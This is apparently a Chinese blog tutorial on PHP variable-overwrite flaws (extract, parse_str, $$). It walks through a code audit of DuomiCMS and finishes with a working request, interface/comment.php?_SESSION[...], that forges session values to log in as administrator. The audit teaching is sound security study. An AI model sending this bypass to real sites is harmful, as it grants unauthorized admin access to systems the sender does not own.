php变量覆盖函数,代码审计--变量覆盖

1.   变量覆盖定义

变量覆盖指的是可以用我们的传参值替换程序原有的变量值

2.风险

变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限

3.寻找变量覆盖

经常导致变量覆盖漏洞场景有:

1.$$使用不当2.extract()函数使用不当,3.parse_str()函数使用不当4.import_request_variables()使用不当,开启了全局变量注册等

3.1.经常引发变量覆盖漏洞的函数

extract()parse_str()import_request_variables()

3.1.1.extract()函数

3.1.1.1.作用

从数组中将变量导入到当前的符号表

将数组中的内容转化为变量

3.1.1.2.实例

$a = "1";$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");extract($my_array);echo "\$a = $a; \$b = $b; \$c = $c";?>

运行结果:

$a = Cat; $b = Dog; $c = Horse

3.1.1.3.CTF举例

d4e0623a3ac7537717e8e174d7d7a202.png

45f0743660b6d98eacaad5767d7869c3.png

3.1.2.parse_str()

3.1.2.1.作用

将查询字符串解析到变量中

3.1.2.2.实例

<?phpparse_str ("name=zkaq&&age=60");echo $name."
";echo $age;?>

parse_str("name=Bill&age=60") 相当于完成了$name ='zkaq'和$age ='60'

3.1.2.3.

如果在parse_str中可以直接传参,也可以覆盖变量

3.1.3.$$

不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$

3.1.3.1.代码实例

d036161a67bcd772c9d6f064cf39a97b.png

$a = 1;foreach(array('_COOKIE','_POST','_GET') as $_request) {foreach($$_request as $_key=>$_value){$$_key=addslashes($_value);}}echo $a;?>

05bf6223b5eab818ccc0e774e109a1c5.png

4.本地测试

DuomiCMS

4.1.本地搭建环境

4.1.1.将源码放入WWW目录

8dd46c01877bc21109f8b4be692aac32.png

4.1.2.安装

f6d634b82638953d9fc50aad966db6bf.png

48d38d749691b737a1fda48bca6bcc15.png

663210b7c485295e34b3d44e31aaae10.png

a4f60abc62ac8fce5952d4107b6d1811.png

4.2.Seay代码审计系统

4.2.1.开启数据库监控

4321ed73360222bc49a0380bc84c2c2c.png

0045d6fb699565c1ac1dc73a4e4898d3.png

4.2.2.登录后台

021227e588121d2f26c8adde02e3f28a.png

6b76a829d4cdfed0731251df827a34b7.png

4.2.3.更新数据库监控

43ac91b83fda023caf94c6322eee5561.png

4.2.4.规则管理

bfc0f542c3de083d9f2e8b16aa1d67d1.png

4.3.审计

4.3.1.添加一个匹配$$的规则

([^\$"]|$)\$\{?\$或者简单点\$\$

c181da0d421a6f309d98b5bb2f5aae86.png

4.3.2.开始

f0408384e77e81b4a7383b9f21e42b9c.png

4.3.3.发现一个存在变量覆盖的地方

duomiphp\common.php文件

711d6d026b9c296643183be1e9592226.png

4.3.4.定位函数

20800a6abc4258e36a7f4194dc10bbf7.png

49f7d0af5a00ad50d554cb44546007ad.png

4.3.5.

get_magic_quotes_gpc()

判断是否开启魔术引号

4.3.6.变量覆盖需满足的条件

1.有传参

2.键名没有有cfg_和GLOBALS

3.COOKIE传参中没有$_k

同时满足会进入exit函数,那三条只要有一条不满足,就会产生变量覆盖漏洞

eb256bfc99d94a9bd5f8849b6ea9411b.png

4.3.7.包含common.php文件的地方

admin目录下的login.php文件中包含了common.php文件

这个页面还调用了check.admin.php

917b46871299a9b05bcb69392f9a6004.png

4.3.8.check.admin.php

输出常量duomi_INC,exit(duomi_INC)

发现为常量duomi_INC的值为duomiphp,在该目录下找到check.admin.php文件

该文件为控制session的,可以通过common.php进行一个伪造session

67518ab4ec404df39f229bc4dd4a287b.png

4.3.8.1.session

Session与cookie功能效果相同。Session与Cookie的区别在于Session是记录在服务端的,而Cookie是记录在客户端的。

Cookie为什么有权限 -> 使用了session,访问网页,留一个空间,里面可以通过代码 例如session里有admin=1,可以判断为管理员

4.3.9.session的值

设置session值进行赋值来获得权限,groupid是权限的意思,全局搜索,发现groupid为1的时候,为管理员

be029188e194673dfffc4e4b833a9f97.png

4.4.本地测试攻击

4.4.1.退出admin账号

471e1759b4d4bad126eb37f89f789988.png

4.4.2.构造攻击

interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin

0c8cf3738c73a66b71a0f3c10734a0f5.png

4.4.3.再次访问admin目录

自动登录上了,因为session已经和当前用户cookie配对了

a34c168065adfd4f883159e88e54455e.png

end

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值